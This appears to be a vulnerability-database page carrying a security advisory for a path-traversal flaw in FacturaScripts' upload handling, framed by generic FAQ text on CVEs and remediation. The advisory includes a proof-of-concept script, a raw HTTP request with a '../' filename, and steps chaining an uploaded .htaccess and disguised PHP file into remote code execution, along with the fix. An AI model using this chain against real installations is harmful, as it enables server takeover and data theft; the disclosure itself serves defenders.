How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

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Total vulnerabilities in the database

FacturaScripts: Path traversal in UploadedFile::move() via getClientOriginalName() — arbitrary file write outside MyFiles/ leading to RCE — facturascripts / facturascripts

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Summary

FacturaScripts\Core\UploadedFile::move($destiny, $destinyName) concatenates $destiny and $destinyName without normalizing the resulting path. Every caller in the codebase passes UploadedFile::getClientOriginalName() — the unsanitized client-supplied filename — as $destinyName, so an authenticated user submitting a filename containing ../ segments can write the uploaded content to any directory writable by the web-server user, escaping the intended MyFiles/ location.

Because the shipped htaccess-sample (the documented production Apache configuration) excludes Dinamic/Assets/ and node_modules/ from the index.php rewrite, files written into those directories are served directly by Apache. Combined with .htaccess not being in BLOCKED_EXTENSIONS, the primitive escalates from arbitrary file write to remote code execution.

Vulnerable Code

Core/UploadedFile.php:

private const BLOCKED_EXTENSIONS = [&#039;phar&#039;, &#039;php&#039;, &#039;php3&#039;, &#039;php4&#039;, &#039;php5&#039;, &#039;php7&#039;, &#039;php8&#039;, &#039;pht&#039;, &#039;phtml&#039;, &#039;phps&#039;];

public function move(string $destiny, string $destinyName): bool
{
    if (!$this-&gt;isValid()) {
        return false;
    }
    if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {
        $destiny .= DIRECTORY_SEPARATOR;
    }
    return $this-&gt;test ?
        rename($this-&gt;tmp_name, $destiny . $destinyName) :
        move_uploaded_file($this-&gt;tmp_name, $destiny . $destinyName);
}

public function getClientOriginalName(): string
{
    return $this-&gt;name ?? &#039;&#039;;
}

isValid() only checks the extension blocklist, the upload error code, and is_uploaded_file() — it never inspects the filename for directory separators or .. segments.

Six call sites pass the raw client filename straight into move():

Core/Controller/ApiUploadFiles.php:58 — POST /api/3/uploadfiles
Core/Controller/ApiAttachedFiles.php:136 — POST /api/3/attachedfiles
Core/Lib/Widget/WidgetFile.php:84 — every form using a file widget
Core/Lib/Widget/WidgetLibrary.php:215 — library widget upload
Core/Lib/ExtendedController/DocFilesTrait.php:51 — document files trait
Core/Controller/AdminPlugins.php:260 — plugin (zip) upload

Representative sink — Core/Controller/ApiUploadFiles.php:56-79:

private function uploadFile(UploadedFile $uploadFile): ?AttachedFile
{
    if (false === $uploadFile-&gt;isValid()) {
        return null;
    }
    $destiny = FS_FOLDER . &#039;/MyFiles/&#039;;
    $destinyName = $uploadFile-&gt;getClientOriginalName();
    if (file_exists($destiny . $destinyName)) {
        $destinyName = mt_rand(1, 999999) . &#039;_&#039; . $destinyName;
    }
    if ($uploadFile-&gt;move($destiny, $destinyName)) {
        ...
    }
}

Shipped htaccess-sample (production Apache rules):

&lt;IfModule mod_rewrite.c&gt;
   RewriteEngine On
   RewriteBase /
   RewriteCond %{REQUEST_URI} !Dinamic/Assets/ [NC]
   RewriteCond %{REQUEST_URI} !node_modules/ [NC]
   RewriteRule . index.php [L]
&lt;/IfModule&gt;

Apache therefore serves any file under Dinamic/Assets/ directly, bypassing index.php entirely.

PoC

Step 1 — Static reproduction of the file-write primitive

The following script replicates UploadedFile::move()'s rename() path verbatim inside a sandboxed temp directory. It does not run any payload — it only demonstrates that the destination escapes MyFiles/ when the filename contains ../.

&lt;?php
$base = sys_get_temp_dir() . DIRECTORY_SEPARATOR . &#039;fs_verify_&#039; . uniqid();
mkdir($base);
mkdir($base . &#039;/MyFiles&#039;);
mkdir($base . &#039;/Dinamic&#039;);
mkdir($base . &#039;/Dinamic/Assets&#039;);

$tmp = $base . &#039;/tmp_upload.dat&#039;;
file_put_contents($tmp, &quot;static-verification-marker\n&quot;);

function fs_move($tmp_name, $destiny, $destinyName) {
    if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {
        $destiny .= DIRECTORY_SEPARATOR;
    }
    return rename($tmp_name, $destiny . $destinyName);
}

fs_move($tmp, $base . &#039;/MyFiles&#039;, &#039;../Dinamic/Assets/traversed.txt&#039;);

echo file_exists($base . &#039;/Dinamic/Assets/traversed.txt&#039;)
    ? &quot;WRITTEN OUTSIDE MyFiles\n&quot;
    : &quot;blocked\n&quot;;

Output:

WRITTEN OUTSIDE MyFiles

Step 2 — Equivalent live HTTP request

POST /api/3/uploadfiles HTTP/1.1
Host: target
Token: &lt;valid-api-token&gt;
Content-Type: multipart/form-data; boundary=---X

-----X
Content-Disposition: form-data; name=&quot;files[]&quot;; filename=&quot;../Dinamic/Assets/traversed.txt&quot;
Content-Type: text/plain

static-verification-marker
-----X--

After the request, Dinamic/Assets/traversed.txt exists on disk and is reachable at https://target/Dinamic/Assets/traversed.txt — Apache serves it directly because the path is excluded from the index.php rewrite.

Step 3 — Chain to code execution

Because .htaccess is not in BLOCKED_EXTENSIONS, the same primitive can write an Apache override into Dinamic/Assets/:

Upload with filename ../Dinamic/Assets/.htaccess and body AddType application/x-httpd-php .png
Upload with filename ../Dinamic/Assets/x.png containing a PHP payload (extension png is not blocked, content is not validated by isValid())
Request https://target/Dinamic/Assets/x.png — Apache hands it to the PHP handler per the uploaded .htaccess

Root Cause

UploadedFile::move() performs raw $destiny . $destinyName concatenation and trusts getClientOriginalName(), which returns $this->name ?? '' with no normalization. No call site applies basename() or any equivalent before passing the client filename to move(). The blocklist in BLOCKED_EXTENSIONS covers only PHP-family extensions and does not cover htaccess, which is required for the rewrite-excluded directory to be useful for code execution.

Impact

Authenticated attacker (any role with permission to call one of the six upload entry points — including any user allowed to attach a file to a record, or any API token with uploadfiles/attachedfiles access) can:

Write arbitrary content to any path under the application root that is writable by the web-server user, including Dinamic/Assets/ (Apache-direct-served) and node_modules/.
Overwrite shipped JS/CSS inside Dinamic/Assets/, injecting client-side script that executes in every administrator's browser → session takeover on next admin page load.
Drop a .htaccess into Dinamic/Assets/ remapping a benign extension to the PHP handler, followed by a second upload that lands an executable payload — full remote code execution as the web-server user.

The required precondition is only an authenticated session or API token with upload privileges, which is granted to a wide range of non-administrative roles in standard installations.

Fix

Minimal fix — sanitize inside UploadedFile::move() so every call site is covered automatically:

public function move(string $destiny, string $destinyName): bool
{
    if (!$this-&gt;isValid()) {
        return false;
    }
    // strip any directory component from the client-supplied filename
    $destinyName = basename($destinyName);
    if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {
        $destiny .= DIRECTORY_SEPARATOR;
    }
    return $this-&gt;test ?
        rename($this-&gt;tmp_name, $destiny . $destinyName) :
        move_uploaded_file($this-&gt;tmp_name, $destiny . $destinyName);
}

Apply the same change in moveTo().

Recommended hardening in addition:

Add htaccess, htm, html, shtml, phtm to BLOCKED_EXTENSIONS, or replace the blocklist with an allowlist resolved per call site.
After concatenating the final destination, verify with realpath() that the result is still inside the intended base directory; abort otherwise.
Drop a Deny from all .htaccess (or equivalent web-server rule) into MyFiles/ so even successfully written files cannot be requested directly without going through the application download endpoint (which already enforces MyFilesToken).

Status

Reported privately to the maintainer via GitHub Security Advisory. Awaiting acknowledgement.

Published: Jul 14, 2026
Updated: Jul 15, 2026
GHSA: GHSA-hgjx-r89m-m7v4
Severity: Critical
Exploit:
CISA KEV:

CVSS v3:

Severity: Critical
Score: 9.9
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWEs:

OWASP TOP 10:

A5 - Broken Access Control

Affected Software
References

Software	From	Fixed in
facturascripts / facturascripts	2025	2026.2.x

https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-hgjx-r89m-m7v4

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.